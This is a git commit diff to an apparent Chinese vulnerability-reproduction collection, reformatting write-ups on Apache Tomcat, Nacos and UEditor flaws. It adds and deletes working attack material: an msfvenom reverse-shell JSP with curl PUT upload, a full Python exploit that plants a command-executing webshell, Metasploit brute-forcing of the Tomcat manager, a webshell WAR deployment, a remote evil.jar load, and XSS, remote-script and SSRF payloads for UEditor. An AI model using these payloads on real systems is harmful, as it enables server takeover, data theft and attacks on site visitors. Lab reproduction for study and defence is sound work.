This commit is contained in:
Threekiii committed 2025-12-30 16:50:49 +08:00
1 parent 73087a9b99
commit 3adc06ba02
35 files changed
+99 -374

No files matched your search

@@ -24,13 +24,13 @@ Apache Tomcat 9 < 9.0.31
## 环境搭建
Vulhub执行如下命令启动一个Tomcat 9.0.30:
Vulhub 执行如下命令启动一个 Tomcat 9.0.30:
```
docker-compose up -d
```
环境启动后,访问`http://your-ip:8080`即可查看tomcat默认页面,此时通过AJP协议的8009端口亦可访问Tomcat。
环境启动后,访问 `http://your-ip:8080` 即可查看 tomcat 默认页面,此时通过 AJP 协议的 8009 端口亦可访问 Tomcat。
## 漏洞复现
@@ -39,13 +39,13 @@ docker-compose up -d
- https://github.com/chaitin/xray
- https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
通过漏洞POC[CNVD-2020-10487-Tomcat-Ajp-lfi](https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi)进行测试,注意,代码基于python2环境。
通过漏洞 POC[CNVD-2020-10487-Tomcat-Ajp-lfi](https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi) 进行测试,注意,代码基于 python2 环境。
读取WEB-INF/web.xml文件:
读取 WEB-INF/web.xml 文件:
![image-20220302160031354](images/202203021600655.png)
在docker的ROOT目录下新建文件用来测试是否可以成功读取,首先进入容器新建一个flag.txt文件:
在 docker 的 ROOT 目录下新建文件用来测试是否可以成功读取,首先进入容器新建一个 flag.txt 文件:
```
[root@VM-16-16-centos CVE-2020-1938]# docker exec -it fbe4 /bin/bash
@@ -53,7 +53,7 @@ root@fbe43a63b620:/usr/local/tomcat# cd webapps/ROOT/
root@fbe43a63b620:/usr/local/tomcat/webapps/ROOT# echo "flag{Woooooooo}" > flag.txt
```
执行CNVD-2020-10487-Tomcat-Ajp-lfi.py读取flag.txt文件,读取成功:
执行 CNVD-2020-10487-Tomcat-Ajp-lfi.py 读取 flag.txt 文件,读取成功:
```
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 127.0.0.1 -p 8009 -f flag.txt
@@ -61,11 +61,11 @@ python CNVD-2020-10487-Tomcat-Ajp-lfi.py 127.0.0.1 -p 8009 -f flag.txt
![image-20220412145606643](images/image-20220412145606643.png)
### 反弹shell
### 反弹 shell
该漏洞需要配合文件上传漏洞才能利用,假设服务器已经有了存在一个txt文件,里面的内容可以执行任意命令(实际情况中,要利用目标服务器的文件上传功能上传文件)。
该漏洞需要配合文件上传漏洞才能利用,假设服务器已经有了存在一个 txt 文件,里面的内容可以执行任意命令(实际情况中,要利用目标服务器的文件上传功能上传文件)。
构造payload:
构造 payload:
![image-20220412151753346](images/image-20220412151753346.png)
@@ -82,29 +82,29 @@ python CNVD-2020-10487-Tomcat-Ajp-lfi.py 127.0.0.1 -p 8009 -f flag.txt
```
将内容保存在txt文件里,使用命令将txt文件复制到服务器的ROOT路径:
将内容保存在 txt 文件里,使用命令将 txt 文件复制到服务器的 ROOT 路径:
```
[root@VM-16-16-centos CVE-2020-1938]# docker cp shell.txt fbe4:/usr/local/tomcat/webapps/ROOT/
```
要想实现文件包含,必须要运行包含的文件,所以目标文件需要是jsp。
要想实现文件包含,必须要运行包含的文件,所以目标文件需要是 jsp。
此处需要修改CNVD-2020-10487-Tomcat-Ajp-lfi.py脚本中的文件名asdf为asdf.jsp:
此处需要修改 CNVD-2020-10487-Tomcat-Ajp-lfi.py 脚本中的文件名 asdf 为 asdf.jsp:
![image-20220412151136832](images/image-20220412151136832.png)
执行CNVD-2020-10487-Tomcat-Ajp-lfi.py读取shell.txt文件,执行反弹shell命令:
执行 CNVD-2020-10487-Tomcat-Ajp-lfi.py 读取 shell.txt 文件,执行反弹 shell 命令:
```
python CNVD-2020-10487-Tomcat-Ajp-lfi-shell.py 127.0.0.1 -p 8009 -f shell.txt
```
监听6666端口,成功接收反弹shell:
监听 6666 端口,成功接收反弹 shell:
![image-20220412152039391](images/image-20220412152039391.png)
## 漏洞POC
## 漏洞 POC
```python
#!/usr/bin/env python
@@ -410,4 +410,3 @@ _,data = t.perform_request('/asdf',attributes=[
print('----------------------------')
print("".join([d.data for d in data]))
```
@@ -1,14 +1,16 @@
# Apache Tomcat PUT方法任意写文件漏洞 CVE-2017-12615
# Apache Tomcat PUT 方法任意写文件漏洞 CVE-2017-12615
## 漏洞描述
2017 年 9 月 19 日,Apache Tomcat 官方确认并修复了两个高危漏洞,其中就有远程代码执行漏洞 (CVE-2017-12615)。当 启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP 文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
参考:
- http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0107097.html
- https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5
- https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e
漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件:
漏洞本质 Tomcat 配置了可写(readonly=false),导致我们可以往服务器写文件:
```
<servlet>
@@ -30,7 +32,7 @@
</servlet>
```
虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用`/`)来绕过了限制。
虽然 Tomcat 对文件后缀有一定检测(不能直接写 jsp),但我们使用一些文件系统的特性(如 Linux 下可用 `/`)来绕过了限制。
## 漏洞影响
@@ -40,18 +42,18 @@ Apache Tomcat 7.0.0-7.0.81(默认配置)
## 环境搭建
Vulhub启动Tomcat 8.5.19环境:
Vulhub 启动 Tomcat 8.5.19 环境:
```
docker-compose build
docker-compose up -d
```
运行完成后访问`http://your-ip:8080`即可看到Tomcat的Example页面。
运行完成后访问 `http://your-ip:8080` 即可看到 Tomcat 的 Example 页面。
## 漏洞复现
直接发送以下数据包即可在Web根目录写入shell:
直接发送以下数据包即可在 Web 根目录写入 shell:
```
PUT /2.jsp/ HTTP/1.1
@@ -76,4 +78,17 @@ int a = -1; byte[] b = new byte[2048]; out.print("<pre>");
如下:
![image-20220302155053358](images/202203021550397.png)
![image-20220302155053358](images/202203021550397.png)
也可以用 PUT 方式上传。注意,最后一个 `/` 字符不可省略:
```shell
# msf生成jsp木马
msfvenom -p java/jsp_shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=9999 -f raw > shell.jsp
# 通过PUT上传
curl -v -X PUT --data-binary @shell.jsp "http://your-ip:8080/shell.jsp/"
# 通过DELETE删除
curl -v -X DELETE "http://your-ip:8080/shell.jsp/"
```
@@ -2,7 +2,7 @@
## 漏洞描述
Apache Tomcat版本9.0.0.M1至9.0.0、8.5.0至8.5.22、8.0.0.RC1至8.0.46和7.0.0至7.0.81且启用HTTP PUT时(例如,通过设置只读如果将Default servlet的初始化参数设置为false,则可以通过特制请求将JSP文件上载到服务器。然后可以请求此JSP,并且服务器将执行其中包含的所有代码。
Apache Tomcat 版本 9.0.0.M1 至 9.0.0、8.5.0 至 8.5.22、8.0.0.RC1 至 8.0.46 和 7.0.0 至 7.0.81 且启用 HTTP PUT 时(例如,通过设置只读如果将 Default servlet 的初始化参数设置为 false,则可以通过特制请求将 JSP 文件上载到服务器。然后可以请求此 JSP,并且服务器将执行其中包含的所有代码。
## 漏洞影响
@@ -13,7 +13,7 @@ Apache Tomcat版本8.0.0.RC1至8.0.46
Apache Tomcat版本7.0.0至7.0.81
```
## 漏洞EXP
## 漏洞 EXP
```python
#!/usr/bin/python
@@ -256,6 +256,3 @@ else:
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
print(str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m")
```
@@ -1,169 +0,0 @@
# Apache Tomcat 远程代码执行漏洞 CVE-2017-12615
## 漏洞描述
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有远程代码执行漏洞(CVE-2017-12615)。当 启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
## 漏洞影响
```
Apache Tomcat 7.0.0 - 7.0.81
```
## 环境搭建
```plain
https://github.com/vulhub/vulhub.git
cd vulhub/tomcat/CVE-2017-12615
docker-compose up -d
```
访问 http://xxx.xxx.xxx.xxx:8080/ 正常即可
![image-20220209121152909](images/202202091211024.png)
## 漏洞复现
漏洞产生的主要原因来自于**conf/web.xml**文件配置错误,readonly开启了false,导致可以使用**PUT/DELETE**请求方法操作文件
![image-20220209121208347](images/202202091212466.png)
**msf**生成一个**jsp**木马
```plain
msfvenom -p java/jsp_shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=9999 -f raw > shell.jsp
```
利用PUT方法上传木马
```plain
curl -v -X PUT --data-binary @shell.jsp "http://81.68.139.186:8080/shell.jsp/"
```
- 注意 http://xxx.xxx.xxx.xxx:8080/shell.jsp/中的最后一个"/"字符很重要
发现成功上传木马文件
![image-20220209121223275](images/202202091212346.png)
访问文件即可反弹一个shell
![image-20220209121238642](images/202202091212721.png)
也可以用**DELETE**请求方法删除文件
![image-20220209121258159](images/202202091212228.png)
## 漏洞POC
- 代码只用于检测漏洞,反弹shell参照上方
```python
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech
import hashlib
import sys
import requests
import random
import re
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: Apache Tomcat 7.0.0 - 7.0.81 \033[0m')
print('+ \033[36m使用格式: python3 CVE-2017-12615.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:8080 \033[0m')
print('+ \033[36mCmd >>> shell \033[0m')
print('+ \033[36mCmd >>> exit(退出交互并删除webshell) \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
md5_filename = str(random.randint(1,999)).encode("utf-8")
file_name = hashlib.md5(md5_filename).hexdigest()
vuln_put_url = target_url + "/" + file_name + ".jsp/"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
data = """
<%
if("peiqi".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
while((a=in.read(b))!=-1){
out.println(new String(b));
}
}
%>
"""
try:
response = requests.request("PUT", url=vuln_put_url, data=data, headers=headers, timeout=30)
if response.status_code == 201 or response.status_code == 201:
print("\033[32m[o] 含有CVE-2017-12615漏洞,成功上传shell,文件名为{}.jsp,响应为{}\033[0m".format(file_name,response.status_code))
return file_name
else:
print("\033[31m[x] 漏洞利用失败,PUT方法关闭 \033[0m")
sys.exit(0)
except:
print("\033[31m[x] 漏洞利用失败,PUT方法关闭 \033[0m")
sys.exit(0)
def POC_2(target_url, file_name, cmd):
vuln_cmd_url = target_url + "/" + file_name + ".jsp?" + "pwd=peiqi&cmd=" + cmd
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
response = requests.get(url=vuln_cmd_url, headers=headers,timeout=30)
if response.status_code == 200:
print("\033[32m[o] 成功执行命令,响应为:\n\033[0m",response.text)
else:
print("\033[31m[x] 漏洞利用失败,命令无法执行 \033[0m")
sys.exit(0)
except:
print("\033[31m[x] 漏洞利用失败,命令无法执行 \033[0m")
sys.exit(0)
def POC_3(target_url, file_name):
vuln_delect_url = target_url + "/" + file_name + ".jsp/"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
response = requests.request("DELETE", url=vuln_delect_url, headers=headers, timeout=30)
if response.status_code == 200 or 201:
print("\033[32m[o] 成功删除shell,文件名为{}.jsp,响应为{}\033[0m".format(file_name,response.status_code))
return file_name
else:
print("\033[31m[x] 删除失败 \033[0m")
sys.exit(0)
except:
print("\033[31m[x] 删除失败 \033[0m")
sys.exit(0)
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
file_name = POC_1(target_url)
while True:
cmd = input("\033[35mCmd >>> \033[0m")
if cmd == "exit":
POC_3(target_url, file_name)
sys.exit(0)
else:
POC_2(target_url, file_name, cmd)
```
![image-20220209121321777](images/202202091213849.png)
@@ -1,4 +1,4 @@
# Tomcat 远程代码执行漏洞 CVE-2025-24813
# Apache Tomcat 远程代码执行漏洞 CVE-2025-24813
## 漏洞描述
@@ -46,7 +46,7 @@ docker compose up -d
服务启动后,访问 `http://your-ip:8080` 即可看到 Tomcat 的示例页面。
![](images/Tomcat%20远程代码执行漏洞%20CVE-2025-24813/image-20250317103255175.png)
![](images/Apache%20Tomcat%20远程代码执行漏洞%20CVE-2025-24813/image-20251212152340529.png)
## 漏洞复现
@@ -104,11 +104,11 @@ Content-Range: bytes 0-1000/1200
YOUR-PAYLOAD-HERE
```
![](images/Tomcat%20远程代码执行漏洞%20CVE-2025-24813/image-20250317114226744.png)
![](images/Apache%20Tomcat%20远程代码执行漏洞%20CVE-2025-24813/image-20251212152357240.png)
可以看到,文件 `.deserialize.session` 已经被写入:
![](images/Tomcat%20远程代码执行漏洞%20CVE-2025-24813/image-20250317140742989.png)
![](images/Apache%20Tomcat%20远程代码执行漏洞%20CVE-2025-24813/image-20251212152405440.png)
然后,发送另一个带有 JSESSIONID cookie 的请求,触发文件 `.deserialize.session` 的反序列化:
@@ -122,11 +122,11 @@ Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=.deserialize
```
![](images/Tomcat%20远程代码执行漏洞%20CVE-2025-24813/image-20250317114246305.png)
![](images/Apache%20Tomcat%20远程代码执行漏洞%20CVE-2025-24813/image-20251212152412203.png)
URLDNS gadget 被成功反序列化,并发送了 DNS 请求:
![](images/Tomcat%20远程代码执行漏洞%20CVE-2025-24813/image-20250317112514451.png)
![](images/Apache%20Tomcat%20远程代码执行漏洞%20CVE-2025-24813/image-20251212152418986.png)
### CommonsCollectionsK1
@@ -158,7 +158,7 @@ docker compose up --force-recreate
用 [java-chains](https://github.com/vulhub/java-chains) 生成 payload:
![](images/Tomcat%20远程代码执行漏洞%20CVE-2025-24813/image-20250317142046832.png)
![](images/Apache%20Tomcat%20远程代码执行漏洞%20CVE-2025-24813/image-20251212152425372.png)
发送带有 Content-Range 头的部分 PUT 请求,在临时目录 `$CATALINA_BASE/work/Catalina/localhost/ROOT` 中写入名为 `.poc.session` 的文件:
@@ -176,11 +176,11 @@ Content-Range: bytes 0-1000/1200
YOUR-PAYLOAD-HERE
```
![](images/Tomcat%20远程代码执行漏洞%20CVE-2025-24813/image-20250317141540103.png)
![](images/Apache%20Tomcat%20远程代码执行漏洞%20CVE-2025-24813/image-20251212152431356.png)
可以看到,文件 `.poc.session` 已经被写入:
![](images/Tomcat%20远程代码执行漏洞%20CVE-2025-24813/image-20250317141613972.png)
![](images/Apache%20Tomcat%20远程代码执行漏洞%20CVE-2025-24813/image-20251212152436936.png)
```
GET / HTTP/1.1
@@ -192,11 +192,11 @@ Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=.poc
```
![](images/Tomcat%20远程代码执行漏洞%20CVE-2025-24813/image-20250317141703769.png)
![](images/Apache%20Tomcat%20远程代码执行漏洞%20CVE-2025-24813/image-20251212152442762.png)
CommonsCollectionsK1 gadget 被成功序列化,执行了 `touch /tmp/awesome_poc` 命令:
![](images/Tomcat%20远程代码执行漏洞%20CVE-2025-24813/image-20250317141811798.png)
![](images/Apache%20Tomcat%20远程代码执行漏洞%20CVE-2025-24813/image-20251212152448096.png)
## 漏洞修复
@@ -1,23 +1,23 @@
# Tomcat8 弱口令+后台getshell漏洞
# Apache Tomcat8 弱口令 + 后台 getshell 漏洞
## 漏洞描述
Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。
Tomcat 支持在后台部署 war 文件,可以直接将 webshell 部署到 web 目录下。其中,欲访问后台,需要对应用户有相应权限。
Tomcat7+权限分为:
Tomcat7+ 权限分为:
- manager(后台管理)
- manager-gui 拥有html页面权限
- manager-status 拥有查看status的权限
- manager-script 拥有text接口的权限,和status权限
- manager-jmx 拥有jmx权限,和status权限
- manager-gui 拥有 html 页面权限
- manager-status 拥有查看 status 的权限
- manager-script 拥有 text 接口的权限,和 status 权限
- manager-jmx 拥有 jmx 权限,和 status 权限
- host-manager(虚拟主机管理)
- admin-gui 拥有html页面权限
- admin-script 拥有text接口权限
- admin-gui 拥有 html 页面权限
- admin-script 拥有 text 接口权限
这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html
在`conf/tomcat-users.xml`文件中配置用户的权限:
在 `conf/tomcat-users.xml` 文件中配置用户的权限:
```
<?xml version="1.0" encoding="UTF-8"?>
@@ -37,37 +37,37 @@ Tomcat7+权限分为:
</tomcat-users>
```
可见,用户tomcat拥有上述所有权限,密码是`tomcat`。
可见,用户 tomcat 拥有上述所有权限,密码是 `tomcat`。
正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。
正常安装的情况下,tomcat8 中默认没有任何用户,且 manager 页面只允许本地 IP 访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。
## 漏洞影响
Tomcat版本:8.0
Tomcat 版本:8.0
## 环境搭建
Vulhub无需编译,直接启动整个环境:
Vulhub 无需编译,直接启动整个环境:
```
docker-compose up -d
```
访问`http://your-ip:8080/`即可访问Apache Tomcat/8.0.43页面。
访问 `http://your-ip:8080/` 即可访问 Apache Tomcat/8.0.43 页面。
## 漏洞复现
### metasploit爆破tomcat弱口令
### metasploit 爆破 tomcat 弱口令
访问`http://your-ip:8080/`,点击Manager App:
访问 `http://your-ip:8080/`,点击 Manager App:
![image-20220412133434883](images/image-20220412133434883.png)
跳转tomcat管理页面`http://your-ip:8080/manager/html`,提示输入用户名和密码:
跳转 tomcat 管理页面 `http://your-ip:8080/manager/html`,提示输入用户名和密码:
![image-20220412133846764](images/image-20220412133846764.png)
在kali中使用metasploit对tomcat用户名和密码进行爆破:
在 kali 中使用 metasploit 对 tomcat 用户名和密码进行爆破:
```
┌──(root kali)-[/home/kali]
@@ -89,15 +89,15 @@ RHOSTS => <your-ip>
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run
```
爆破成功,用户名密码为`tomcat:tomcat`:
爆破成功,用户名密码为 `tomcat:tomcat`:
![image-20220412135451368](images/image-20220412135451368.png)
输入弱密码`tomcat:tomcat`,即可访问后台。
输入弱密码 `tomcat:tomcat`,即可访问后台。
### 制作war包并上传
### 制作 war 包并上传
首先制作war包`project.war`:
首先制作 war 包 `project.war`:
```
E:\Behinder3\server>jar -cvf project.war shell.jsp
@@ -105,7 +105,7 @@ E:\Behinder3\server>jar -cvf project.war shell.jsp
正在添加: shell.jsp(输入 = 612) (输出 = 449)(压缩了 26%)
```
上传war包:
上传 war 包:
![image-20220412135536050](images/image-20220412135536050.png)
@@ -113,7 +113,6 @@ E:\Behinder3\server>jar -cvf project.war shell.jsp
![image-20220412140450360](images/image-20220412140450360.png)
冰蝎3成功连接`http://your-ip:8080/project/shell.jsp`:
冰蝎 3 成功连接 `http://your-ip:8080/project/shell.jsp`:
![image-20220412143831721](images/image-20220412143831721.png)
@@ -1,119 +0,0 @@
# Apache Tomcat8 弱口令+后台getshell漏洞
## 漏洞描述
Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。
Tomcat7+权限分为:
- manager(后台管理)
- manager-gui 拥有html页面权限
- manager-status 拥有查看status的权限
- manager-script 拥有text接口的权限,和status权限
- manager-jmx 拥有jmx权限,和status权限
- host-manager(虚拟主机管理)
- admin-gui 拥有html页面权限
- admin-script 拥有text接口权限
这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html
在`conf/tomcat-users.xml`文件中配置用户的权限:
```
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
```
可见,用户tomcat拥有上述所有权限,密码是`tomcat`。
正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。
## 漏洞影响
Tomcat版本:8.0
## 环境搭建
Vulhub无需编译,直接启动整个环境:
```
docker-compose up -d
```
访问`http://your-ip:8080/`即可访问Apache Tomcat/8.0.43页面。
## 漏洞复现
### metasploit爆破tomcat弱口令
访问`http://your-ip:8080/`,点击Manager App:
![image-20220412133434883](images/image-20220412133434883.png)
跳转tomcat管理页面`http://your-ip:8080/manager/html`,提示输入用户名和密码:
![image-20220412133846764](images/image-20220412133846764.png)
在kali中使用metasploit对tomcat用户名和密码进行爆破:
```
┌──(root kali)-[/home/kali]
└─# msfconsole
# 搜索tomcat相关模块
msf6 > search tomcat
...
23 auxiliary/scanner/http/tomcat_mgr_login normal No Tomcat Application Manager Login Utility
...
# 使用tomcat_mgr_login模块进行爆破
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
# 设置服务地址
msf6 auxiliary(scanner/http/tomcat_mgr_login) >show options
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS <your-ip>
RHOSTS => <your-ip>
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run
```
爆破成功,用户名密码为`tomcat:tomcat`:
![image-20220412135451368](images/image-20220412135451368.png)
输入弱密码`tomcat:tomcat`,即可访问后台。
### 制作war包并上传
首先制作war包`project.war`:
```
E:\Behinder3\server>jar -cvf project.war shell.jsp
已添加清单
正在添加: shell.jsp(输入 = 612) (输出 = 449)(压缩了 26%)
```
上传war包:
![image-20220412135536050](images/image-20220412135536050.png)
成功部署:
![image-20220412140450360](images/image-20220412140450360.png)
冰蝎3成功连接`http://your-ip:8080/project/shell.jsp`:
![image-20220412143831721](images/image-20220412143831721.png)
Binary file not shown.

Before

Width:  |  Height:  |  Size: 612 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 217 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 266 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 493 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 198 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 246 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 527 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 391 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 455 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 600 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 666 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 57 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 497 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 61 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 621 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 434 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 515 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 734 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 583 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 68 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 669 KiB

@@ -43,7 +43,7 @@ docker compose up -d  
执行 [POC](poc.py):
```
python poc.py -t http://your-ip:8848 -s http://some-webserver/evil.jar -c "id"  
python poc.py -t http://your-ip:8848 -s http://some-webserver/evil.jar -c "id"
```
`-t` 参数指定目标地址,`-s` 参数指定恶意 JAR 包的地址,`-c` 参数指定要执行的命令。
+23 -20
View File
@@ -2,12 +2,18 @@
## 漏洞描述
UEditor 是由百度「FEX前端研发团队」开发的所见即所得富文本web编辑器,具有轻量,可定制,注重用户体验等特点,开源基于MIT协议,允许自由使用和修改代码。
UEditor 是由百度「FEX 前端研发团队」开发的所见即所得富文本 web 编辑器,具有轻量,可定制,注重用户体验等特点,开源基于 MIT 协议,允许自由使用和修改代码。
界面如下:
![ueditor-1](images/ueditor-1.webp)
查看版本:
```
console.log(UE.version)
```
## 漏洞复现
### 0x01 文件读取漏洞
@@ -24,9 +30,9 @@ image 目录文件读取:
http://www.xxxx.com/ueditor/net/controller.ashx?action=listimage
```
### 0x02 .net版本 任意文件上传
### 0x02 .net 版本 任意文件上传
只适用于 .net 版本,存在于`1.4.3.3`、`1.5.0`和`1.3.6`版本中。
只适用于 .net 版本,存在于 `1.4.3.3`、`1.5.0` 和 `1.3.6` 版本中。
准备一台服务区存放图片马或者需要上传的文件,本地构造一个 `html` 页面用于上传使用
@@ -52,9 +58,7 @@ http://xxxx/1.gif?.aspx
![ueditor-3](images/ueditor-3.webp)
### 0x03 php版本文件上传
### 0x03 php 版本文件上传
poc:
@@ -83,7 +87,7 @@ shell路径由CONFIG[imagePathFormat]=ueditor/php/upload/fuck决定
http://localhost/ueditor/php/upload/fuck.php
```
### 0x03 存储型xss
### 0x03 存储型 xss
```
<html>
@@ -117,7 +121,7 @@ http://localhost/ueditor/php/upload/fuck.php
/ueditor/jsp/controller.jsp?action=uploadimage
```
将`uploadimage`类型改为`uploadfile`,修改文件后缀名为`.xml`:
将 `uploadimage` 类型改为 `uploadfile`,修改文件后缀名为 `.xml`:
![ueditor-4](images/ueditor-4.webp)
@@ -125,21 +129,21 @@ http://localhost/ueditor/php/upload/fuck.php
![ueditor-5](images/ueditor-5.webp)
#### 一些常见的xml弹窗poc
#### 一些常见的 xml 弹窗 poc
弹窗xss:
弹窗 xss:
```
<html><head></head><body><something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1);</something:script></body></html>
```
url跳转:
url 跳转:
```
<html><head></head><body><something:script xmlns:something="http://www.w3.org/1999/xhtml">window.location.href="https://www.t00ls.net/";</something:script></body></html>
```
远程加载js:
远程加载 js:
```
<html><head></head><body><something:script src="http://xss.com/xss.js" xmlns:something="http://www.w3.org/1999/xhtml"></something:script></body></html>
@@ -147,9 +151,9 @@ url跳转:
### 0x04 ssrf
该漏洞存在于`1.4.3`的`jsp版本`中,`1.4.3.1`版本已经修复。
该漏洞存在于 `1.4.3` 的 `jsp版本` 中,`1.4.3.1` 版本已经修复。
该版本ueditor的ssrf触发点:
该版本 ueditor 的 ssrf 触发点:
```php
/jsp/controller.jsp?action=catchimage&source[]=
@@ -157,7 +161,7 @@ url跳转:
/php/controller.php?action=catchimage&source[]=
```
使用百度logo构造poc:
使用百度 logo 构造 poc:
```
http://xxx/cmd/ueditor/jsp/controller.jsp?action=catchimage&source[]=https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png
@@ -173,25 +177,25 @@ http://xxx/cmd/ueditor/jsp/controller.jsp?action=catchimage&source[]=https://www
判断该地址对应的主机端口是否开放:
- 如果抓取不存在的图片地址时,页面返回如下,即state为"远程连接出错"。
- 如果抓取不存在的图片地址时,页面返回如下,即 state 为 " 远程连接出错 "。
```
{"state": "SUCCESS", list:[{"state":"\u8fdc\u7a0b\u8fde\u63a5\u51fa\u9519"} ]}
```
- 如果成功抓取到图片,页面返回如下,即state为"SUCCESS"。
- 如果成功抓取到图片,页面返回如下,即 state 为 "SUCCESS"。
```
{"state": "SUCCESS", list: [{"state":"SUCCESS","size":"5103","source":"http://192.168.135.133:8080/tomcat.png","title":"1527173588127099881.png","url":"/ueditor/jsp/upload/image/20180524/1527173588127099881.png"}]}
```
- 如果主机无法访问,页面返回如下,即state为"抓取远程图片失败"。
- 如果主机无法访问,页面返回如下,即 state 为 " 抓取远程图片失败 "。
```
{"state":"SUCCESS", list: [{"state":"\u6293\u53d6\u8fdc\u7a0b\u56fe\u7247\u5931\u8d25"}]}
```
还有一个版本的ssrf漏洞 ,存在于onethink 1.0中的ueditor,测试版本为1.2。poc:
还有一个版本的 ssrf 漏洞 ,存在于 onethink 1.0 中的 ueditor,测试版本为 1.2。poc:
```
POST http://xxx/Public/static/ueditor/php/getRemoteImage.php HTTP/1.1
@@ -206,4 +210,3 @@ Connection: keep-alive
upfile=https://www.google.com/?%23.jpg
```